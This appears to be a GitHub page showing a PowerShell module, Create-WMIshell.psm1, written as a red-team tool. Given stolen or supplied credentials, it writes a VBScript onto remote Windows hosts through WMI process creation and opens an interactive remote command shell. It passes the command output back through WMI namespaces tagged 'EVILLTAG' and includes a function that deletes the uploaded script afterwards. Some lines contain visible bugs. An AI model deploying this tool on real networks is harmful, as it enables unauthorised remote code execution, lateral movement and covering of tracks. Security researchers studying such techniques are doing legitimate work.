-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathCreate-WMIshell.psm1
445 lines (337 loc) · 14 KB
/
Create-WMIshell.psm1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
function New-WmiShell
{
<#
.SYNOPSIS
Setup interactive shell on a remote host leveraging the WMI service and a VBScript.
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: Base64/Hex encoding VBScript(s)
.DESCRIPTION
New-WmiShell tests connectivity with the WMI service and uploads a VBScript to the remote host(s). The uploaded
VBScript will receive and execute shell commands via the WMI service and process the output of those commands.
.PARAMETER ComputerName
.PARAMETER UserName
.PARAMETER UploadTo
.PARAMETER Encoding
.EXAMPLE
PS C:\> New-WmiShell -ComputerName server01 -UserName 'DOMAIN\Administrator' -UploadTo %TEMP% -Encoding Base64
.INPUTS
.OUTPUTS
.LINK
#>
[CmdLetBinding()]
Param (
[Parameter(Mandatory = $True,
ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[string[]]$ComputerName,
[Parameter()]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$UserName = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $True)]
[string]$UploadTo,
[Parameter(Mandatory = $True)]
[ValidateSet("Base64", "Hex")]
[string]$Encoding
) #End Param
BEGIN
{
#Store credentials for use on remote host(s)
$creds = Get-Credential -Credential $UserName
# Read VBScript into []
if ($Encoding -eq "Base64") { $vbscript = gc -Encoding UTF8 .\base64.vbs }
else { $vbScript = gc -Encoding UTF8 .\hex.vbs }
}
PROCESS
{
$wmiOn = @()
$wmiOff = @()
foreach ($name in $ComputerName)
{
#Generate random name for VBScript
$vbsName = [System.IO.Path]::GetRandomFileName() + ".vbs"
#Grab some data about the host, validation of WMI accessibility
$os = Get-WmiObject -ComputerName $name -Credential $creds -Class Win32_OperatingSystem
$comp = Get-WmiObject -ComputerName $name -Credential $creds -Class Win32_ComputerSystem
#$env = Get-WmiObject -Credential $creds -Class Win32_Environment -ComputerName $computer
$props = @{
'HostName' = $os.CSName;
'Maufacturer' = $comp.Manufacturer;
'Model' = $comp.Model;
'OS' = $os.Caption;
'OSVersion' = $os.Version;
'ServicePack' = $os.ServicePackMajorVerison;
'Workgroup' = $comp.Workgroup;
'PartOfDomain' = $comp.PartOfDomain;
'Domain' = $comp.Domain;
'OSArchitecture' = $os.OSArchitecture;
'SystemType' = $comp.SystemType;
'DEP_32BitApps' = $os.DataExecutionPrevention_32BitApplications;
'DEP_Available' = $os.DataExecutionPrevention_Available;
'DEP_Drivers' = $os.DataExecutionPrevention_Drivers;
'SystemDrive' = $os.SystemDrive;
'TotalPhysicalMemory' = $comp.TotalPhysicalMemory;
'Credentials' = $creds;
'vbsName' = $vbsName;
'vbsLocation' = $UploadTo;
'Encoding' = $Encoding;
'ComputerName' = $ComputerName;
}
$obj = New-Object -TypeName PSObject -Property $props
if ($obj.ComputerName) {
Write-Host -ForegroundColor Green "+ WMI is accessible on $($obj.ComputerName) +"
$wmiOn += $obj
}
else {
Write-Host -ForegroundColor Yellow "- WMI is not accessible on $($ComputerName) -"
$wmiOff += $ComputerName
}
}
foreach ($computer in $wmiOn) {
#Upload VBScript to Host
foreach ($line in $vbScript) {
$argList = "cmd.exe /c echo $($line) >> $($computer.vbsLocation)\$($computer.vbsName)"
Invoke-WmiMethod -ComputerName $computer.ComputerName -Credential $computer.Credentials -Class win32_process -Name create -ArgumentList $argList | Out-Null
# Status-bar
Write-Progress -Status "Please Wait..." -Activity "Uploading VBScript: $($computer.vbsName) to: $($computer.HostName) in $($UploadTo)" -PercentComplete (($line.ReadCount / $vbScript.Length) * 100)
}
#Validate functionality
$cScript = "cmd.exe /c cscript.exe $($computer.vbsLocation)\$($computer.vbsName) `"whoami /priv`""
Invoke-WmiMethod -ComputerName $computer.ComputerName -Credential $computer.Credentials -Class win32_process -Name create -ArgumentList $cScript | Out-Null
# Wait for vbScrpit to finish writing output to WMI namespaces
$outputReady = ""
do{$outputReady = Get-WmiObject -Namespace root\default -Query "SELECT Name FROM __Namespace WHERE Name like 'OUTPUT_READY'"}
until($outputReady)
Get-WmiShellOutput -UserName $computer.Credentials -ComputerName $computer.ComputerName -Encoding $computer.Encoding
}
}
END {
Write-Host -ForegroundColor Green "WMI Shells successfully setup on $($wmiOn.Length) host(s)"
Write-Host -ForegroundColor Yellow "WMI Shells failed on $($wmiOff.Length) host(s)"
$Global:WmiShells = $wmiOn
}
} Export-ModuleMember New-WmiShell
function List-WmiShells
{
#[CmdLetBinding()]
foreach($entry in $Global:WmiShells) {
If ([BOOL]$entry.ReadCount) {
Write-Host -ForegroundColor Cyan "Session $($entry.ReadCount) = $($entry.ComputerName)"
}
else {Write-Host -ForegroundColor Cyan "Session 0 = $($entry.ComputerName)"}
}
} Export-ModuleMember List-WmiShells
function Get-WmiShellOutput
{
<#
.SYNOPSIS
Retrieves Base64 encdoded data from WMI namespaces.
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: Base64/Hex encoding VBScript(s)
.DESCRIPTION
Get-WmiShellOutput queries WMI for namespaces containing Base64 encdoded data that has been tagged for retrieval,
retrieves the data, decodes it, and writes the decoded output to the console.
.PARAMETER ComputerName
.PARAMETER UserName
.PARAMETER UploadTo
.PARAMETER Encoding
.EXAMPLE
PS C:\> Get-WmiShellOutput -ComputerName server01 -UserName 'DOMAIN\Administrator' -UploadTo %TEMP% -Encoding Base64
.INPUTS
.OUTPUTS
.LINK
#>
[CmdLetBinding()]
Param (
[Parameter(Mandatory = $True,
ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[string[]]$ComputerName,
[Parameter(ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$UserName = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $True,
ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[ValidateSet("Base64", "Hex")]
[string]$Encoding
) #End Param
$getOutput = @()
$getOutput = Get-WmiObject -Credential $UserName -ComputerName $ComputerName -Namespace root\default -Query "SELECT Name FROM __Namespace WHERE Name like 'EVILLTAG%'" | Select-Object Name
if ([BOOL]$getOutput.Length) {
#Read string objects into array, then sort them
$getStrings = for ($i = 0; $i -lt $getOutput.Length; $i++) { $getOutput[$i].Name }
$sortStrings = $getStrings | Sort-Object
if ($Encoding -eq "Base64") {
#Decode Base64 output
foreach ($line in $sortStrings) {
#Replace non-base64 characters
$cleanString = $line.Remove(0, 14) -replace "`“", "+" -replace "Ã", "" -replace "_", "/"
#Add necessary base64 padding characters
if ($cleanString.Length % 4 -ne 0) { $cleanString += ("===").Substring(0, 4 - ($cleanString.Length % 4)) }
# Decode base64 string and remove front side spaces
$decodeString = ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cleanString)).Remove(0, 8))
# Remove back side spaces and compile output
$decodedOutput += $decodeString.Remove(($decodeString.Length - 8), 8)
}
Write-Host $decodedOutput
}
else {
#Decode Hex output
foreach ($line in $sortStrings) {
$cleanString = $line.Reomve(0, 15)
$cleanString.Split(“_“) | foreach { Write-Host -object ([CHAR][BYTE]([CONVERT]::toint16($_, 16))) -NoNewline }
}
}
}
else {
#Decode single line Base64
if($Encoding -eq "Base64") {
$getStrings = $getOutput.Name
$cleanString = $getStrings.Remove(0, 14) -replace "`“", "+" -replace "Ã", "" -replace "_", "/"
if ($cleanString.Length % 4 -ne 0) { $cleanString += ("===").Substring(0, 4 - ($cleanString.Length % 4)) }
$decodedOutput = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cleanString)) }
Write-Host $decodedOutput.Remove(0, 8)
}
#Decode single line Hex
else {
$getStrings = $getOutput.Name
$cleanstring = $getStrings.Remove(0,15)
$cleanString.Split(“_“) | foreach { Write-Host -object ([CHAR][BYTE]([CONVERT]::toint16($_, 16))) -NoNewline }
}
} Export-ModuleMember Get-WmiShellOutput
function Enter-WmiShell
{
<#
.SYNOPSIS
Enter interactive WMI pseudo remote-shell.
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: New-WmiShell, Get-WmiShellOutput
.DESCRIPTION
Enter-WmiShell provides a cmd-prompt to interact with a remote-computer.
.PARAMETER Session
.PARAMETER ComputerName
.PARAMETER UserName
.PARAMETER UploadTo
.PARAMETER Encoding
.EXAMPLE
PS C:\> Enter-WmiShell -Session 0
.EXAMPLE
PS C:\> Enter-WmiShell -ComputerName server01 -UserName 'DOMAIN\Administrator' -UploadTo %TEMP% -Encoding Base64
.INPUTS
.OUTPUTS
.LINK
#>
[CmdLetBinding(DefaultParameterSetName = "set1")]
Param (
[Parameter(ParameterSetName = "set1")]
[string]$Session,
[Parameter(ParameterSetName = "set2",
Mandatory = $True,
ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[string[]]$ComputerName,
[Parameter(ParameterSetName = "set2")]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$UserName = [System.Management.Automation.PSCredential]::Empty,
[Parameter(ParameterSetName = "set2", Mandatory = $True)]
[string]$UploadTo,
[Parameter(ParameterSetName = "set2", Mandatory = $True)]
[string]$vbsName
) #End Param
if ($PSBoundParameters['Session']) {
$ComputerName = $Global:Wmishells[$Session].ComputerName
$UserName = $Global:WmiShells[$Session].Credentials
$UploadTo = $Global:WmiShells[$Session].vbsLocation
$vbsName = $Global:WmiShells[$Session].vbsName
$Encoding = $Global:Wmishells[$Session].Encoding
}
do{
# Make a pretty prompt for the user to provide commands at
Write-Host ("[" + $($ComputerName) + "]: WmiShell>") -nonewline -foregroundcolor green -backgroundcolor black
$command = Read-Host
if ($command -eq "retry") { Get-WmiShellOutput -UserName $UserName -ComputerName $ComputerName -Encoding $Encoding }
else {
# Execute commands on remote host using cscript.exe and uploaded VBScript
$cScript = "cmd.exe /c cscript.exe $($UploadTo)\$($vbsName) `"$($command)`""
Invoke-WmiMethod -ComputerName $ComputerName -Credential $UserName -Class win32_process -Name create -ArgumentList $cScript | Out-Null
Start-Sleep -s 1
if ($command -ne "exit") {
# Wait for vbScrpit to finish writing output to WMI namespaces
$outputReady = ""
do{$outputReady = Get-WmiObject -Namespace root\default -Query "SELECT Name FROM __Namespace WHERE Name like 'OUTPUT_READY'"}
until($outputReady)
# Retrieve cmd output written to WMI namespaces
Get-WmiShellOutput -UserName $UserName -ComputerName $ComputerName -Encoding $Encoding
}
}
}until($command -eq "exit")
} Export-ModuleMember Enter-WmiShell
function Close-WmiShell
{
<#
.SYNOPSIS
Cleans up WMI shell artifacts.
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Close-WmiShell removes the VBScript(s) and any namespaces that have been written to by the WmiShell scripts.
.PARAMETER Session
.PARAMETER ComputerName
.PARAMETER UserName
.PARAMETER UploadTo
.PARAMETER Encoding
.EXAMPLE
PS C:\> Close-WmiShell -Session 0
.EXAMPLE
PS C:\> Close-WmiShell -All
.EXAMPLE
PS C:\> Close-WmiShell -ComputerName server01 -UserName 'DOMAIN\Administrator' -UploadTo %TEMP% -Encoding Base64
.INPUTS
.OUTPUTS
.LINK
#>
[CmdLetBinding(DefaultParameterSetName = "set1")]
Param (
[Parameter(ParameterSetName = "set1")]
[ValidatePattern('^\d+$')]
[string]$Session,
[Parameter(ParameterSetName = "set2")]
[Switch]$All,
[Parameter(ParameterSetName = "set3",
Mandatory = $True,
ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[string[]]$ComputerName,
[Parameter(ParameterSetName = "set3")]
[ValidateNotNull()]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$UserName = [System.Management.Automation.PSCredential]::Empty,
[Parameter(ParameterSetName = "set3", Mandatory = $True)]
[string]$UploadTo,
[Parameter(ParameterSetName = "set3", Mandatory = $True)]
[string]$vbsName
) #End Param
if ($PSBoundParameters['Session']) {
$ComputerName = $Global:Wmishells[$Session].ComputerName
$UserName = $Global:WmiShells[$Session].Credentials
$UploadTo = $Global:WmiShells[$Session].vbsLocation
$vbsName = $Global:WmiShells[$Session].vbsName
$Encoding = $Global:Wmishells[$Session].Encoding
}
elseif ($All) {
foreach ($obj in $Global:Wmishells) {
$cScript = "cmd.exe /c del $($obj.vbsLocation)\$($obj.vbsName)"
Invoke-WmiMethod -ComputerName $obj.ComputerName -Credential $obj.Credentials -Class win32_process -Name create -ArgumentList $cScript | Out-Null
}
}
$cScript = "cmd.exe /c del $($UploadTo)\$($vbsName)"
Invoke-WmiMethod -ComputerName $ComputerName -Credential $UserName -Class win32_process -Name create -ArgumentList $cScript | Out-Null
} Export-ModuleMember Close-WmiShell